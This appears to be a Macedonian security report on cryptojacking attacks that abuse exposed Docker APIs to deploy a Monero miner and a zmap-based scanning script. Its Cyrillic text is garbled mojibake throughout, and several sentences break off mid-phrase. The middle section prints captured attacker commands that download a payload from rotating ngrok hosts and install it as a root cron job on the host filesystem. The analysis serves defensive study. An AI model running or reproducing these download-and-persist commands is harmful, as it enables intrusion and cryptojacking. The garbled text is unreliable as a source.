ΠΠΈ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΠ°Π²ΠΌΠ΅ ΡΠΎΠ±ΡΠ°Π½ΠΈΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ ΡΠΎ ΠΏΠΎΠΌΠΎΡ Π½Π° ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅ΡΠΈ ΡΠΎ ΡΠ°ΠΊΡΠΈΠΈ, ΠΊΠΎΠΈ Π³ΠΈ ΡΠΎΠ·Π΄Π°Π΄ΠΎΠ²ΠΌΠ΅ Π·Π° Π΄Π° Π³ΠΈ ΡΠ»Π΅Π΄ΠΈΠΌΠ΅ Π·Π°ΠΊΠ°Π½ΠΈΡΠ΅. Π ΠΎΡΠΊΡΠΈΠ²ΠΌΠ΅ Π·Π½Π°ΡΠΈΡΠ΅Π»Π½Π° Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡ ΠΎΠ΄ Π½Π΅ΡΠ°ΠΊΠ°Π½ΠΈ ΠΈΠ»ΠΈ Π½Π΅ΠΎΠ²Π»Π°ΡΡΠ΅Π½ΠΈ ΡΡΠ΄Π°ΡΠΈ Π½Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠΈ ΡΠ°ΡΠΏΠΎΡΠ΅Π΄Π΅Π½ΠΈ ΠΊΠ°ΠΊΠΎ Π½Π΅ΠΏΡΠΈΡΠ°ΡΠ΅Π»ΡΠΊΠΈ ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅ΡΠΈ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ ΡΠ»ΠΈΠΊΠ° ΠΎΠ±ΡΠ°Π²Π΅Π½Π° ΠΎΠ΄ Π·Π°Π΅Π΄Π½ΠΈΡΠ°ΡΠ° Π½Π° Docker Hub. Π‘Π»ΠΈΠΊΠ°ΡΠ° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ ΠΊΠ°ΠΊΠΎ Π΄Π΅Π» ΠΎΠ΄ ΡΡΠ»ΡΠ³Π°ΡΠ° ΠΊΠΎΡΠ° ΠΎΠ±Π΅Π·Π±Π΅Π΄ΡΠ²Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈ ΡΡΠ΄Π°ΡΠΈ Π·Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠΈ.
ΠΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»Π½ΠΎ, ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½ΠΈ ΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΈ Π·Π° ΡΠ°Π±ΠΎΡΠ° ΡΠΎ ΠΌΡΠ΅ΠΆΠΈ Π·Π° Π΄Π° Π½Π°Π²Π»Π΅Π·Π°Ρ Π²ΠΎ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΡΠΎΡΠ΅Π΄Π½ΠΈ ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅ΡΠΈ ΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ.
ΠΠΈ ΠΎΡΡΠ°Π²Π°ΠΌΠ΅ Π½Π°ΡΠΈΡΠ΅ ΡΠ°ΠΊΡΠΈΠΈ ΠΊΠ°ΠΊΠΎ ΡΡΠΎ ΡΠ΅, ΠΎΠ΄Π½ΠΎΡΠ½ΠΎ ΡΠΎ ΡΡΠ°Π½Π΄Π°ΡΠ΄Π½ΠΈ ΠΏΠΎΡΡΠ°Π²ΠΊΠΈ, Π±Π΅Π· Π½ΠΈΠΊΠ°ΠΊΠ²ΠΈ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈ ΠΌΠ΅ΡΠΊΠΈ ΠΈΠ»ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Π½Π° ΠΈΠ½ΡΡΠ°Π»Π°ΡΠΈΡΠ° Π½Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ. ΠΠΌΠ°ΡΡΠ΅ ΠΏΡΠ΅Π΄Π²ΠΈΠ΄ Π΄Π΅ΠΊΠ° Docker ΠΈΠΌΠ° ΠΏΡΠ΅ΠΏΠΎΡΠ°ΠΊΠΈ Π·Π° ΠΏΡΠ²ΠΈΡΠ½ΠΎ ΠΏΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ Π·Π° Π΄Π° ΡΠ΅ ΠΈΠ·Π±Π΅Π³Π½Π°Ρ Π³ΡΠ΅ΡΠΊΠΈ ΠΈ Π΅Π΄Π½ΠΎΡΡΠ°Π²Π½ΠΈ ΠΏΡΠΎΠΏΡΡΡΠΈ. ΠΠΎ, ΠΊΠΎΡΠΈΡΡΠ΅Π½ΠΈΡΠ΅ ΡΠ°ΠΊΡΠΈΠΈ ΡΠ΅ ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅ΡΠΈ, Π΄ΠΈΠ·Π°ΡΠ½ΠΈΡΠ°Π½ΠΈ Π΄Π° ΠΎΡΠΊΡΠΈΠ²Π°Π°Ρ Π½Π°ΠΏΠ°Π΄ΠΈ Π½Π°ΡΠΎΡΠ΅Π½ΠΈ ΠΊΠΎΠ½ ΠΏΠ»Π°ΡΡΠΎΡΠΌΠ°ΡΠ° Π·Π° ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅ΡΠΈΠ·Π°ΡΠΈΡΠ°, Π° Π½Π΅ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈΡΠ΅ Π²ΠΎ ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅ΡΠΈΡΠ΅.
ΠΡΠΊΡΠΈΠ΅Π½Π°ΡΠ° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½Π° Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡ Π΅ ΠΈΡΡΠΎ ΡΠ°ΠΊΠ° Π·Π°Π±Π΅Π»Π΅ΠΆΠ»ΠΈΠ²Π° Π±ΠΈΠ΄Π΅ΡΡΠΈ Π½Π΅ Π±Π°ΡΠ° ΠΏΡΠΎΠΏΡΡΡΠΈ ΠΈ ΠΈΡΡΠΎ ΡΠ°ΠΊΠ° Π΅ Π½Π΅Π·Π°Π²ΠΈΡΠ½Π° ΠΎΠ΄ Π²Π΅ΡΠ·ΠΈΡΠ°ΡΠ° Docker. ΠΡΠΎΠ½Π°ΠΎΡΠ°ΡΠ΅ΡΠΎ Π½Π° Π½Π΅ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½Π°, Π° ΡΠΎ ΡΠΎΠ° ΠΈ ΠΎΡΠ²ΠΎΡΠ΅Π½Π° ΡΠ»ΠΈΠΊΠ° Π½Π° ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅Ρ Π΅ ΡΓ¨ ΡΡΠΎ ΠΈΠΌ Π΅ ΠΏΠΎΡΡΠ΅Π±Π½ΠΎ Π½Π° Π½Π°ΠΏΠ°ΡΠ°ΡΠΈΡΠ΅ Π·Π° Π΄Π° Π·Π°ΡΠ°Π·Π°Ρ ΠΌΠ½ΠΎΠ³Ρ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΡΠ΅ΡΠ²Π΅ΡΠΈ.
ΠΠ΅Π·Π°ΡΠ²ΠΎΡΠ΅Π½ΠΈΠΎΡ Docker API ΠΌΡ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π° Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ Π΄Π° ΠΈΠ·Π²ΡΡΠΈ ΡΠΈΡΠΎΠΊ ΠΎΠΏΡΠ΅Π³ Π½Π°
ΠΠ΅Π²ΠΎ Π΅ ΠΌΠ΅ΡΠΎΠ΄ΠΎΡ Π·Π° ΠΈΡΠΏΠΎΡΠ°ΠΊΠ° Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ. ΠΠ° Π΄Π΅ΡΠ½Π°ΡΠ° ΡΡΡΠ°Π½Π° Π΅ ΠΎΠΊΠΎΠ»ΠΈΠ½Π°ΡΠ° Π½Π° Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ, ΠΊΠΎΡΠ° ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π° Π΄Π°Π»Π΅ΡΠΈΠ½ΡΠΊΠΎ ΠΈΡΡΡΠ»Π°ΡΠ΅ Π½Π° ΡΠ»ΠΈΠΊΠΈΡΠ΅.
ΠΠΈΡΡΡΠΈΠ±ΡΡΠΈΡΠ° ΠΏΠΎ Π·Π΅ΠΌΡΠ° Π½Π° 3762 ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ Docker API. ΠΡΠ· ΠΎΡΠ½ΠΎΠ²Π° Π½Π° ΠΏΡΠ΅Π±Π°ΡΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° Π¨ΠΎΠ΄Π°Π½ ΠΎΠ΄ 12.02.2019 Π³ΠΎΠ΄ΠΈΠ½Π°
ΠΠΏΡΠΈΠΈ Π·Π° ΡΠΈΠ½ΡΠΈΡ Π·Π° Π½Π°ΠΏΠ°Π΄ ΠΈ Π½ΠΎΡΠΈΠ²ΠΎΡΡ
ΠΠ»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½Π°ΡΠ° Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡ Π±Π΅ΡΠ΅ ΠΎΡΠΊΡΠΈΠ΅Π½Π° Π½Π΅ ΡΠ°ΠΌΠΎ ΡΠΎ ΠΏΠΎΠΌΠΎΡ Π½Π° ΡΠ°ΠΊΡΠΈΠΈ. ΠΠΎΠ΄Π°ΡΠΎΡΠΈΡΠ΅ ΠΎΠ΄ Shodan ΠΏΠΎΠΊΠ°ΠΆΡΠ²Π°Π°Ρ Π΄Π΅ΠΊΠ° Π±ΡΠΎΡΠΎΡ Π½Π° ΠΈΠ·Π»ΠΎΠΆΠ΅Π½ΠΈ Docker API (Π²ΠΈΠ΄ΠΈ Π²ΡΠΎΡΠΈΠΎΡ Π³ΡΠ°ΡΠΈΠΊΠΎΠ½) ΡΠ΅ Π·Π³ΠΎΠ»Π΅ΠΌΠΈΠ» ΠΎΡΠΊΠ°ΠΊΠΎ ΠΈΡΡΡΠ°ΠΆΡΠ²Π°Π²ΠΌΠ΅ ΠΏΠΎΠ³ΡΠ΅ΡΠ½ΠΎ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅Ρ ΡΡΠΎ ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ ΠΊΠ°ΠΊΠΎ ΠΌΠΎΡΡ Π·Π° ΡΠ°ΡΠΏΠΎΡΠ΅Π΄ΡΠ²Π°ΡΠ΅ Π½Π° ΡΠΎΡΡΠ²Π΅ΡΠΎΡ Π·Π° ΠΈΡΠΊΠΎΠΏΡΠ²Π°ΡΠ΅ ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠΈ Monero. ΠΠΎ ΠΎΠΊΡΠΎΠΌΠ²ΡΠΈ ΠΌΠΈΠ½Π°ΡΠ°ΡΠ° Π³ΠΎΠ΄ΠΈΠ½Π° (2018, ΡΠ΅ΠΊΠΎΠ²Π½ΠΈ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ
ΠΡΠΏΠΈΡΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° Π΄Π½Π΅Π²Π½ΠΈΡΠΈΡΠ΅ Π½Π° ΡΠ°ΠΊΡΠΈΡΠ°ΡΠ° ΠΏΠΎΠΊΠ°ΠΆΠ° Π΄Π΅ΠΊΠ° ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ΡΠΎ Π½Π° ΡΠ»ΠΈΠΊΠ°ΡΠ° Π½Π° ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅ΡΠΎΡ ΠΈΡΡΠΎ ΡΠ°ΠΊΠ° Π΅ ΠΏΠΎΠ²ΡΠ·Π°Π½ΠΎ ΡΠΎ ΡΠΏΠΎΡΡΠ΅Π±Π°ΡΠ° Π½Π°
Tty: false
Command: β-c curl βretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d βhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283β;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dβ >/tmp9bedce/etc/crontab;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dβ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c βcron || crondββ,
Entrypoint: β/bin/shβ
Tty: false,
Command: β-c curl βretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d βhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283β;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dβ >/tmp570547/etc/crontab;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dβ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c βcron || crondββ,
Entrypoint: β/bin/shβ
Tty: false,
Command: β-c curl βretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed βhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeβ;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedβ >/tmp326c80/etc/crontab;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedβ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c βcron || crondββ,
Entrypoint: β/bin/shβ,
Tty: false,
Cmd: β-c curl βretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed βhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeβ;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedβ >/tmp8b9b5b/etc/crontab;echo β* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedβ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c βcron || crondββ,
Entrypoint: β/bin/shβ
ΠΠ°ΠΊΠΎ ΡΡΠΎ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡΠ΅, ΠΏΠΎΡΡΠ°Π²Π΅Π½ΠΈΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΡΠ΅ ΠΏΡΠ΅Π·Π΅ΠΌΠ°Π°Ρ ΠΎΠ΄ ΠΏΠΎΡΡΠΎΡΠ°Π½ΠΎ ΠΌΠ΅Π½ΡΠ²Π°ΡΠ΅ Π½Π° URL-Π°Π΄ΡΠ΅ΡΠΈ. ΠΠ²ΠΈΠ΅ URL-Π°Π΄ΡΠ΅ΡΠΈ ΠΈΠΌΠ°Π°Ρ ΠΊΡΠ°ΡΠΎΠΊ Π΄Π°ΡΡΠΌ Π½Π° ΠΈΡΡΠ΅ΠΊΡΠ²Π°ΡΠ΅, ΡΠ°ΠΊΠ° ΡΡΠΎ ΡΠΎΠ²Π°ΡΠΈΡΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΏΡΠ΅Π·Π΅ΠΌΠ°Ρ ΠΏΠΎ ΠΈΡΡΠ΅ΠΊΠΎΡ Π½Π° ΡΠΎΠΊΠΎΡ.
ΠΠΎΡΡΠΎΡΠ°Ρ Π΄Π²Π΅ ΠΎΠΏΡΠΈΠΈ Π·Π° Π½ΠΎΡΠΈΠ²ΠΎΡΡ. ΠΡΠ²ΠΈΠΎΡ Π΅ ΠΊΠΎΠΌΠΏΠ°ΡΠ»ΠΈΡΠ°Π½ ELF ΡΡΠ΄Π°Ρ Π·Π° Linux (Π΄Π΅ΡΠΈΠ½ΠΈΡΠ°Π½ ΠΊΠ°ΠΊΠΎ Coinminer.SH.MALXMR.ATNO) ΠΊΠΎΡ ΡΠ΅ ΠΏΠΎΠ²ΡΠ·ΡΠ²Π° ΡΠΎ ΡΡΠ΄Π°ΡΡΠΊΠΈΠΎΡ Π±Π°Π·Π΅Π½. ΠΡΠΎΡΠ°ΡΠ° Π΅ ΡΠΊΡΠΈΠΏΡΠ° (TrojanSpy.SH.ZNETMAP.A) Π΄ΠΈΠ·Π°ΡΠ½ΠΈΡΠ°Π½Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ ΠΎΠ΄ΡΠ΅Π΄Π΅Π½ΠΈ ΠΌΡΠ΅ΠΆΠ½ΠΈ Π°Π»Π°ΡΠΊΠΈ ΠΊΠΎΠΈ ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠ°Ρ Π·Π° ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅ Π½Π° ΠΌΡΠ΅ΠΆΠ½ΠΈ ΠΎΠΏΡΠ΅Π·ΠΈ ΠΈ ΠΏΠΎΡΠΎΠ° ΠΏΡΠ΅Π±Π°ΡΡΠ²Π°ΡΠ΅ Π½Π° Π½ΠΎΠ²ΠΈ ΡΠ΅Π»ΠΈ.
Π‘ΠΊΡΠΈΠΏΡΠ°ΡΠ° dropper ΠΏΠΎΡΡΠ°Π²ΡΠ²Π° Π΄Π²Π΅ ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ, ΠΊΠΎΠΈ ΠΏΠΎΡΠΎΠ° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠ°Ρ Π·Π° ΡΠ°ΡΠΏΠΎΡΠ΅Π΄ΡΠ²Π°ΡΠ΅ Π½Π° ΡΡΠ΄Π°ΡΠΎΡ Π·Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠΈ. ΠΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°ΡΠ° HOST ΡΠ° ΡΠΎΠ΄ΡΠΆΠΈ URL-ΡΠΎ ΠΊΠ°Π΄Π΅ ΡΡΠΎ ΡΠ΅ Π½Π°ΠΎΡΠ°Π°Ρ ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ, Π° ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°ΡΠ° RIP Π΅ ΠΈΠΌΠ΅ΡΠΎ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° (Π²ΡΡΡΠ½ΠΎΡΡ, Ρ Π°ΡΠΎΡ) Π½Π° ΡΡΠ΄Π°ΡΠΎΡ ΡΡΠΎ ΡΡΠ΅Π±Π° Π΄Π° ΡΠ΅ ΡΠ°ΡΠΏΠΎΡΠ΅Π΄ΠΈ. ΠΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°ΡΠ° HOST ΡΠ΅ ΠΌΠ΅Π½ΡΠ²Π° ΡΠ΅ΠΊΠΎΠ³Π°Ρ ΠΊΠΎΠ³Π° ΡΠ΅ ΠΌΠ΅Π½ΡΠ²Π° Ρ Π°Ρ-ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°ΡΠ°. Π‘ΠΊΡΠΈΠΏΡΠ°ΡΠ°, ΠΈΡΡΠΎ ΡΠ°ΠΊΠ°, ΡΠ΅ ΠΎΠ±ΠΈΠ΄ΡΠ²Π° Π΄Π° ΠΏΡΠΎΠ²Π΅ΡΠΈ Π΄Π°Π»ΠΈ Π΄ΡΡΠ³ΠΈ ΡΡΠ΄Π°ΡΠΈ Π½Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠΈ Π½Π΅ ΡΠ°Π±ΠΎΡΠ°Ρ Π½Π° Π½Π°ΠΏΠ°Π΄Π½Π°ΡΠΈΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ.
ΠΡΠΈΠΌΠ΅ΡΠΈ Π½Π° ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ HOST ΠΈ RIP, ΠΊΠ°ΠΊΠΎ ΠΈ ΠΏΠ°ΡΡΠ΅ ΠΊΠΎΠ΄ ΡΡΠΎ ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° Π΄Π° ΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈ Π΄Π°Π»ΠΈ Π΄ΡΡΠ³ΠΈ ΡΡΠ΄Π°ΡΠΈ Π½Π΅ ΡΠ°Π±ΠΎΡΠ°Ρ
ΠΡΠ΅Π΄ Π΄Π° Π·Π°ΠΏΠΎΡΠ½Π΅ ΡΡΠ΄Π°ΡΠΎΡ, ΡΠΎΡ Π΅ ΠΏΡΠ΅ΠΈΠΌΠ΅Π½ΡΠ²Π°Π½ Π²ΠΎ nginx. ΠΡΡΠ³ΠΈ Π²Π΅ΡΠ·ΠΈΠΈ Π½Π° ΠΎΠ²Π°Π° ΡΠΊΡΠΈΠΏΡΠ° Π³ΠΎ ΠΏΡΠ΅ΠΈΠΌΠ΅Π½ΡΠ²Π°Π°Ρ ΡΡΠ΄Π°ΡΠΎΡ Π²ΠΎ Π΄ΡΡΠ³ΠΈ Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΠΈ ΡΡΠ»ΡΠ³ΠΈ ΡΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΠΈΠ΄Π°Ρ ΠΏΡΠΈΡΡΡΠ½ΠΈ Π²ΠΎ ΠΎΠΊΠΎΠ»ΠΈΠ½ΠΈΡΠ΅ Π½Π° Linux. ΠΠ²Π° Π΅ ΠΎΠ±ΠΈΡΠ½ΠΎ Π΄ΠΎΠ²ΠΎΠ»Π½ΠΎ Π·Π° Π΄Π° ΡΠ΅ Π·Π°ΠΎΠ±ΠΈΠΊΠΎΠ»Π°Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈΡΠ΅ Π½Π° ΡΠΏΠΈΡΠΎΠΊΠΎΡ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠΈ ΠΊΠΎΠΈ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π°Π°Ρ.
Π‘ΠΊΡΠΈΠΏΡΠ°ΡΠ° Π·Π° ΠΏΡΠ΅Π±Π°ΡΡΠ²Π°ΡΠ΅ ΠΈΠΌΠ° ΠΈ ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈ. Π Π°Π±ΠΎΡΠΈ ΡΠΎ ΠΈΡΡΠ°ΡΠ° URL ΡΡΠ»ΡΠ³Π° Π·Π° Π΄Π° Π³ΠΈ ΡΠ°ΡΠΏΠΎΡΠ΅Π΄ΠΈ ΠΏΠΎΡΡΠ΅Π±Π½ΠΈΡΠ΅ Π°Π»Π°ΡΠΊΠΈ. ΠΠ΅ΡΡ Π½ΠΈΠ² Π΅ ΠΈ Π±ΠΈΠ½Π°ΡΠ½ΠΈΠΎΡ zmap, ΠΊΠΎΡ ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅ Π½Π° ΠΌΡΠ΅ΠΆΠΈ ΠΈ Π΄ΠΎΠ±ΠΈΠ²Π°ΡΠ΅ Π»ΠΈΡΡΠ° Π½Π° ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΠΏΠΎΡΡΠΈ. Π‘ΠΊΡΠΈΠΏΡΠ°ΡΠ°, ΠΈΡΡΠΎ ΡΠ°ΠΊΠ°, Π²ΡΠΈΡΡΠ²Π° Π΄ΡΡΠ³Π° Π±ΠΈΠ½Π°ΡΠ½ΠΎΡΡ ΡΡΠΎ ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ° ΡΠΎ ΠΏΡΠΎΠ½Π°ΡΠ΄Π΅Π½ΠΈΡΠ΅ ΡΡΠ»ΡΠ³ΠΈ ΠΈ ΠΏΡΠΈΠΌΠ°ΡΠ΅ Π±Π°Π½Π΅ΡΠΈ ΠΎΠ΄ Π½ΠΈΠ² Π·Π° Π΄Π° ΡΠ΅ ΡΡΠ²ΡΠ΄Π°Ρ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»Π½ΠΈ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π·Π° ΠΏΡΠΎΠ½Π°ΡΠ΄Π΅Π½Π°ΡΠ° ΡΡΠ»ΡΠ³Π° (Π½Π° ΠΏΡΠΈΠΌΠ΅Ρ, Π½Π΅ΡΠ·ΠΈΠ½Π°ΡΠ° Π²Π΅ΡΠ·ΠΈΡΠ°).
Π‘ΠΊΡΠΈΠΏΡΠ°ΡΠ°, ΠΈΡΡΠΎ ΡΠ°ΠΊΠ°, ΠΎΠ΄Π½Π°ΠΏΡΠ΅Π΄ ΠΎΠ΄ΡΠ΅Π΄ΡΠ²Π° Π½Π΅ΠΊΠΎΠΈ ΠΌΡΠ΅ΠΆΠ½ΠΈ ΠΎΠΏΡΠ΅Π·ΠΈ Π·Π° ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅, Π½ΠΎ ΡΠΎΠ° Π·Π°Π²ΠΈΡΠΈ ΠΎΠ΄ Π²Π΅ΡΠ·ΠΈΡΠ°ΡΠ° Π½Π° ΡΠΊΡΠΈΠΏΡΠ°ΡΠ°. ΠΡΡΠΎ ΡΠ°ΠΊΠ°, Π³ΠΈ ΠΏΠΎΡΡΠ°Π²ΡΠ²Π° ΡΠ΅Π»Π½ΠΈΡΠ΅ ΠΏΠΎΡΡΠΈ ΠΎΠ΄ ΡΡΠ»ΡΠ³ΠΈΡΠ΅ - Π²ΠΎ ΠΎΠ²ΠΎΡ ΡΠ»ΡΡΠ°Ρ, Docker - ΠΏΡΠ΅Π΄ Π΄Π° ΡΠ΅ ΠΈΠ·Π²ΡΡΠΈ ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅ΡΠΎ.
Π¨ΡΠΎΠΌ ΡΠ΅ ΠΏΡΠΎΠ½Π°ΡΠ΄Π°Ρ ΠΌΠΎΠΆΠ½ΠΈ ΡΠ΅Π»ΠΈ, Π±Π°Π½Π΅ΡΠΈΡΠ΅ Π°Π²ΡΠΎΠΌΠ°ΡΡΠΊΠΈ ΡΠ΅ ΠΎΡΡΡΡΠ°Π½ΡΠ²Π°Π°Ρ ΠΎΠ΄ Π½ΠΈΠ². Π‘ΠΊΡΠΈΠΏΡΠ°ΡΠ°, ΠΈΡΡΠΎ ΡΠ°ΠΊΠ°, Π³ΠΈ ΡΠΈΠ»ΡΡΠΈΡΠ° ΡΠ΅Π»ΠΈΡΠ΅ Π²ΠΎ Π·Π°Π²ΠΈΡΠ½ΠΎΡΡ ΠΎΠ΄ ΡΡΠ»ΡΠ³ΠΈΡΠ΅, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈΡΠ΅, ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈΡΠ΅ ΠΈΠ»ΠΈ ΠΏΠ»Π°ΡΡΠΎΡΠΌΠΈΡΠ΅ ΠΎΠ΄ ΠΈΠ½ΡΠ΅ΡΠ΅Ρ: Redis, Jenkins, Drupal, MODX,
ΠΠ΅ΠΊΡΠΎΡΠΎΡ Π·Π° Π½Π°ΠΏΠ°Π΄ Π΅ ΡΠ»ΠΈΠΊΠ° Π½Π° Docker, ΠΊΠ°ΠΊΠΎ ΡΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ Π²ΠΈΠ΄ΠΈ Π²ΠΎ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ Π΄Π²Π΅ ΠΏΠ°ΡΡΠΈΡΠ° ΠΊΠΎΠ΄.
ΠΠ° Π²ΡΠ²ΠΎΡ Π΅ ΠΏΡΠ΅ΠΈΠΌΠ΅Π½ΡΠ²Π°ΡΠ΅ Π²ΠΎ Π»Π΅Π³ΠΈΡΠΈΠΌΠ½Π° ΡΡΠ»ΡΠ³Π°, Π° Π½Π° Π΄Π½ΠΎΡΠΎ Π΅ Π½Π°ΡΠΈΠ½ΠΎΡ Π½Π° ΠΊΠΎΡ zmap ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅ ΠΌΡΠ΅ΠΆΠΈ
